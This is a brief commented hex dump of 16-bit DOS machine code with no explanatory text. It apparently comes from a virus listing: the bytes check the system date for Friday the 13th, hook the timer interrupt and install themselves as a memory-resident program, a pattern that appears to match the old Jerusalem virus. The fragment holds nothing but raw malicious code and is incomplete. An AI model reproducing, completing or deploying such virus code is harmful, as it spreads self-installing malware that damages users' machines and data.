;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
|
|
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
|
|
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
|
|
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
|
|
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
|
|
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
|
|
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
|
|
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
|
|
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8.. |